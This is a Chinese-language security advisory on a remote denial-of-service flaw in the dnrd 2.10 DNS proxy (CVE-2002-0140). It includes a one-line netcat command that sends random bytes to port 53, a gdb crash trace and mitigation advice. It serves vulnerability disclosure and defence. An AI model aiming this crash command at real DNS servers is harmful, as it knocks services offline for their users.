dnrd DNS请求远程拒绝服务攻击漏洞
发布日期:2002-01-20
更新日期:2002-01-23
受影响系统:Brad Garcia dnrd 2.10
描述:
BUGTRAQ ID:
3928
CVE(CAN) ID:
CVE-2002-0140
Dnrd是一个代理DNS请求的守护进程,它适用于需要多个ISP支持的家庭网络。它可以转发所有DNS请求到相应ISP的DNS服务器。
Dnrd 2.10存在设计问题,远程攻击者可以对服务器程序实施拒绝服务攻击。
通过向dnrd进程发送随机的数据流,会导致服务器进程崩溃。这是由于parse_query、get_objectname函数(或其他函数)没有正确进行边界检查引起的。利用这个问题,攻击者也有可能在主机上执行任意指令。
<*来源:Andrew Griffiths (
andrewg@tasmail.com)
链接:
http://archives.neohapsis.com/archives/bugtraq/2002-01/0250.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Andrew Griffiths (
andrewg@tasmail.com)提供了如下测试方法:
如果在本机上启动了dnrd,用如下的命令可以导致服务器程序崩溃:
dd if=/dev/urandom bs=64 count=1 | nc -u 127.0.0.1 53 -w 1
下面是在另外一个控制台窗口上用gdb跟踪的结果:
[andrewg@blackhole /data/audit/dnrd-2.10/src]$ gdb dnrd
GNU gdb 5.0rh-5 Red Hat Linux 7.1
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
(gdb) set arg -s 1.2.3.4 -d
(gdb) run
Starting program: /data/audit/dnrd-2.10/src/dnrd -d
[New Thread 1024 (LWP 3249)]
ERROR: Couldn't kill dnrd: No such process
Debug: cache low/high: 800/1000
Debug: initialising master DNS database
Debug: no master configuration: /etc/dnrd/master
Debug: initialising from /etc/hosts, domain= <none>
Debug: /etc/hosts: 3 records
Debug: Received DNS query for "..\SÖanx, 6h??ü-ÀC?Ï"?>" real ? "?????£æ??@ÖwéÕËl?p?Û@??"
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1024 (LWP 3249)]
parse_query (y=0xbffff140, msg=0xb4bffff7 <Address 0xb4bffff7 out of bounds>,
len=1346377321) at dns.c:298
298 if (ntohs(((short int *) msg)[2]) == 0) { /* C is nice. */
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 暂时停止使用此程序。
* 在防火墙上过滤不可信主机对dns端口(tcp/53)的访问。
厂商补丁:
Brad Garcia
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://home[.]attbi[.]com/~garsh/dnrd浏览次数:3254
严重程度:0(网友投票)